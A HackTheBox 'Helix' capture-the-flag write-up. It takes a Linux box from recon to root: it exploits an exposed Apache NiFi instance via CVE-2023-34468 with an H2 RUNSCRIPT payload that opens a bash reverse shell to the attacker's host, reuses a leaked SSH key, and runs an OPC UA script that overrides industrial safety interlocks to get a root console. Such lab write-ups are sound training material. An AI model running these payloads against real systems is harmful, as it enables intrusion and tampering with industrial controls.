Skip to content

Helix Writeup - HackTheBox

Medium Linux

Created May 10, 2026 • Last updated August 17, 2026 • 9 min read

1. Reconnaissance

Fast TCP Port Scan

Start with a fast scan to identify open ports quickly.

┌──(kali㉿kali)-[~]
└─$ nmap -T5 --open $TARGET_IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 18:45 +0500
Nmap scan report for $TARGET_IP
Host is up (0.22s latency).
Not shown: 986 closed tcp ports (reset), 12 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds

Two ports are open: SSH (22) and HTTP (80). Simple attack surface , let's dig deeper.

Service & Version Detection

Run a detailed scan with service detection and default scripts against the two open ports.

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC -p22,80 $TARGET_IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 18:46 +0500
Nmap scan report for $TARGET_IP
Host is up (0.50s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The HTTP server redirects to http://helix.htb/ , this tells us the web app is using virtual hosting. We need to add this hostname to our /etc/hosts file to resolve it.

Add Hostnames to hosts

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP helix.htb" | sudo tee -a /etc/hosts
$TARGET_IP helix.htb

Now helix.htb resolves locally to the target IP. The site loads, but it appears largely static. Time to look for hidden virtual hosts.

2. Enumeration

Virtual Host (VHost) Fuzzing

Nginx uses the Host header to route requests to different applications. We fuzz for hidden subdomains using ffuf. The -fs 21543 flag filters out responses that match the default page size (baseline), and -fc 302 ignores redirects.

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://helix.htb \
-H "Host: FUZZ.helix.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 21543 \
-fc 302
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
       v2.1.0-dev

 :: Method           : GET
 :: URL              : http://helix.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.helix.htb
 :: Filter           : Response status: 302
 :: Filter           : Response size: 21543

flow    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1321ms]
:: Progress: [4989/4989] :: Job [1/1] :: 96 req/sec :: Duration: [0:00:40] :: Errors: 0 ::

A subdomain flow is discovered. Add it to /etc/hosts.

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP flow.helix.htb" | sudo tee -a /etc/hosts
$TARGET_IP flow.helix.htb

Browsing to Apache NiFi

Navigate to the discovered subdomain in your browser:

┌──(kali㉿kali)-[~]
└─$ http://flow.helix.htb/nifi/

An Apache NiFi instance is running , completely exposed, no login required. NiFi is a powerful data flow automation tool that, when misconfigured with anonymous write access, is a direct path to RCE.

Verify Anonymous Write Permissions

Confirm that the anonymous user has write access by querying the NiFi API directly.

┌──(kali㉿kali)-[~]
└─$ curl -s http://flow.helix.htb/nifi-api/flow/current-user | jq
{
  "identity": "anonymous",
  "anonymous": true,
  "controllerPermissions": {
    "canRead": true,
    "canWrite": true
  }
}

canWrite: true for the anonymous user. This is the misconfiguration we'll exploit via CVE-2023-34468.

3. Initial Access , CVE-2023-34468 (Apache NiFi RCE)

What is CVE-2023-34468?

Apache NiFi 1.21.0 allows authenticated (or in this case, anonymous) users to configure database connection pools. The DBCPConnectionPool controller service can load the H2 in-memory database driver, which supports a RUNSCRIPT SQL command that fetches and executes arbitrary Java code , giving us full Remote Code Execution.

The exploit chain: DBCPConnectionPool (H2 driver) → ExecuteSQL processor → RUNSCRIPT FROM <our_server> → Java Runtime.exec() → Reverse shell

Create the Malicious SQL Payload

Create a file called rce.sql on your attacking machine. This payload defines a Java method that executes a shell command, then calls it with a bash reverse shell.

┌──(kali㉿kali)-[~]
└─$ nano rce.sql

Paste the following content , replace <tun_ip> with your own VPN/tun0 IP:

CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
  String[] command = {"bash", "-c", cmd};
  java.util.Scanner s = new java.util.Scanner(
    Runtime.getRuntime().exec(command).getInputStream()
  ).useDelimiter("\\A");
  return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/<tun_ip>/5555 0>&1"')

Start HTTP Server and Netcat Listener

Open two separate terminals.

Terminal 1 , Serve the SQL payload:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...

Terminal 2 , Listen for the reverse shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 5555
listening on [any] 5555 ...

Configure NiFi: Add DBCPConnectionPool Controller Service

In your browser, navigate to http://flow.helix.htb/nifi/ and follow these steps:

  1. Click the gear icon (⚙) in the top-right of the NiFi canvas (Operate panel).

  2. Go to the Controller Services tab.

  3. Click the + button to add a new service.

  4. Search for and select DBCPConnectionPool, then click Add.

  5. Click the pencil/edit icon next to the new service to configure it.

  6. Go to the Properties tab and set the following values:

Property

Value

Database Connection URL

jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;

Database Driver Class Name

org.h2.Driver

Database Driver Location(s)

/opt/nifi-1.21.0/lib/h2-2.1.214.jar

  1. Click Apply.

  2. Click the lightning bolt icon (⚡) to enable the controller service. Confirm when prompted.

The H2 jar path /opt/nifi-1.21.0/lib/h2-2.1.214.jar is specific to this box. The path in the original CVE disclosure PDF is incorrect for Helix.

Configure NiFi: Add ExecuteSQL Processor

Back on the NiFi canvas:

  1. Drag an ExecuteSQL processor onto the canvas from the toolbar (the processor icon looks like a box with a gear).

  2. Double-click it (or right-click → Configure) to open the configuration dialog.

  3. Go to the Relationships tab and set both success and failure to Terminate (check both boxes). This prevents NiFi from complaining about unconnected outputs.

  4. Go to the Properties tab and set:

Property

Value

Database Connection Pooling Service

DBCPConnectionPool (select from dropdown)

SQL select query

RUNSCRIPT FROM 'http://<tun_ip>:4444/rce.sql'

  1. Click Apply.

Trigger the Exploit

  1. Right-click the ExecuteSQL processor on the canvas.

  2. Click Start.

Watch your terminals:

Terminal 1 (HTTP server) , NiFi fetches the payload:

$TARGET_IP - - [10/May/2026 19:04:23] "GET /rce.sql HTTP/1.1" 200 -

Terminal 2 (Netcat listener) , Reverse shell connects:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [<tun_ip>] from (UNKNOWN) [$TARGET_IP] 36514
bash: cannot set terminal process group (973): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$

We have a shell as the nifi service account. Now let's escalate to a real user.

4. Lateral Movement , SSH Key Discovery

Enumerate NiFi Support Bundles

NiFi stores diagnostic support bundles in a dedicated directory. Let's check if anything interesting was left there.

nifi@helix ~ $ cd /opt/nifi-1.21.0/support-bundles
nifi@helix ~ $ ls
operator_id_ed25519.bak

A backup of an SSH private key for the operator user sitting in plain text inside NiFi's support directory. This is a serious misconfiguration.

Save the Key and SSH as operator

On your attacking machine, save the key to a file and lock down its permissions (SSH will refuse to use a key with loose permissions).

┌──(kali㉿kali)-[~]
└─$ nano operator_id_ed25519
┌──(kali㉿kali)-[~]
└─$ # Paste the key contents, save and exit
┌──(kali㉿kali)-[~]
└─$ chmod 600 operator_id_ed25519

Now SSH into the target as operator:

┌──(kali㉿kali)-[~]
└─$ ssh -i operator_id_ed25519 operator@$TARGET_IP
The authenticity of host '$TARGET_IP ($TARGET_IP)' can't be established.
ED25519 key fingerprint is: SHA256:nGwNnXA5oCIEMCxZ3joJWy3usUFUt70Wqy72RayvMNA
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '$TARGET_IP' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)

  System load:  0.18          Users logged in: 0
  Usage of /:   86.9% of 6.52GB
  Memory usage: 38%

operator@helix:~$ cat user.txt

User flag obtained.

5. Privilege Escalation , OPC UA Abuse

Check Sudo Permissions

┌──(kali㉿kali)-[~]
└─$ sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

We can run helix-maint-console as root with no password. Let's see what it does.

Inspect the Maintenance Console Script

┌──(kali㉿kali)-[~]
└─$ cat /usr/local/sbin/helix-maint-console
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"

read_until() { cat "$FLAG" 2>/dev/null || true; }

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(read_until)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi

until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"

SCOPE="helix-maint-$$"
systemd-run --quiet --scope --unit="$SCOPE" \
  --property=KillMode=control-group --property=SendSIGHUP=yes \
  /bin/bash -p -i
exit 0

The script checks whether a maintenance window is currently active by reading a timestamp from /opt/helix/state/maintenance_window. If the current time is before that timestamp, it grants a root shell. We cannot write that file directly , something else must control it.

Discover Internal OT/ICS Services

Check what services are listening internally on the machine.

┌──(kali㉿kali)-[~]
└─$ ss -tlnp
State   Recv-Q Send-Q  Local Address:Port   Peer Address:Port
LISTEN  0      4096    127.0.0.53%lo:53          0.0.0.0:*
LISTEN  0      128           0.0.0.0:22          0.0.0.0:*
LISTEN  0      511           0.0.0.0:80          0.0.0.0:*
LISTEN  0      128         127.0.0.1:8081        0.0.0.0:*
LISTEN  0      50          127.0.0.1:8080        0.0.0.0:*
LISTEN  0      50          127.0.0.1:34911       0.0.0.0:*
LISTEN  0      100         127.0.0.1:4840        0.0.0.0:*
LISTEN  0      128              [::]:22              [::]:*
LISTEN  0      50   [::ffff:127.0.0.1]:36917         *:*

Two interesting internal services:

  • Port 4840 , OPC UA (OPC Unified Architecture), an industrial IoT/ICS protocol

  • Port 8081 , HMI (Human-Machine Interface)

The OPC UA server is the mechanism controlling the maintenance window. We need to interact with it to trigger the right conditions.

Create an SSH Tunnel for OPC UA

OPC UA is only listening on 127.0.0.1:4840 on the target. We'll use SSH local port forwarding to bring that port to our attacking machine.

Open a new terminal on your attacking machine:

┌──(kali㉿kali)-[~]
└─$ ssh -i operator_id_ed25519 -L 4840:127.0.0.1:4840 operator@$TARGET_IP
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
...
operator@helix:~$

Keep this terminal open. The tunnel maps localhost:4840 on your Kali machine to 127.0.0.1:4840 on the target. Leave this session running while you execute the exploit.

Install the Python OPC UA Library

On your attacking machine (in a separate terminal), install the asyncua library needed to communicate with OPC UA servers.

┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install asyncua

Create the OPC UA Exploit Script

Create a Python script that connects to the OPC UA server through our tunnel and manipulates the industrial process state to open the maintenance window.

┌──(kali㉿kali)-[~]
└─$ nano open_window.py
#!/usr/bin/env python3
import asyncio
from asyncua import Client, ua

URL = "opc.tcp://127.0.0.1:4840/helix/"

async def main():
    async with Client(url=URL) as c:
        # Get the namespace index for the Helix OT namespace
        ns = await c.get_namespace_index("urn:helix:ot")

        # Helper to get a node by integer ID in our namespace
        N = lambda i: c.get_node(f"ns={ns};i={i}")

        # Map the relevant OPC UA nodes to variables
        Mode, TestOv, Calib = N(12), N(13), N(6)
        Temp, Press, Trip   = N(4),  N(5),  N(10)

        # Step 1: Switch the system mode to MAINTENANCE
        await Mode.write_value(
            ua.Variant("MAINTENANCE", ua.VariantType.String)
        )

        # Step 2: Enable the test override flag
        await TestOv.write_value(
            ua.Variant(True, ua.VariantType.Boolean)
        )

        # Step 3: Increment the calibration offset until temperature or
        # pressure crosses the threshold that opens the maintenance window
        for off in (12.0, 16.0, 20.0, 25.0, 30.0):
            await Calib.write_value(
                ua.Variant(off, ua.VariantType.Double)
            )
            await asyncio.sleep(1.5)  # Wait for sensor values to update

            t  = await Temp.read_value()
            p  = await Press.read_value()
            tr = await Trip.read_value()

            print(f"calib={off}: T={t} P={p} Trip={tr}")

            # Threshold: temp >= 295K or pressure >= 73 bar, with no trip active
            if (t >= 295 or p >= 73) and not tr:
                print("[+] Maintenance window should open")
                break

asyncio.run(main())

What this script does:

Action

Node ID

Purpose

Set Mode = "MAINTENANCE"

ns=X;i=12

Puts the OT system into maintenance mode

Set TestOverride = True

ns=X;i=13

Bypasses normal safety interlocks

Increment Calibration offset

ns=X;i=6

Artificially raises sensor readings

Read Temperature

ns=X;i=4

Monitor the current temp value

Read Pressure

ns=X;i=5

Monitor the current pressure value

Read Trip status

ns=X;i=10

Ensure the safety trip hasn't fired

Run the Exploit

┌──(kali㉿kali)-[~]
└─$ python3 open_window.py
calib=12.0: T=296.0724950403895 P=69.03918615274698 Trip=False
[+] Maintenance window should open

At calibration offset 12.0, the temperature (296 K) crosses the 295 K threshold while the trip remains inactive. The OPC UA server writes a future timestamp to /opt/helix/state/maintenance_window, opening the window.

Execute the Maintenance Console

Quickly switch back to your operator SSH session (not the tunnel terminal) and run the maintenance console before the window closes:

┌──(kali㉿kali)-[~]
└─$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 85 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#

We have a root shell! The script launched an interactive /bin/bash -p session running as root via systemd-run.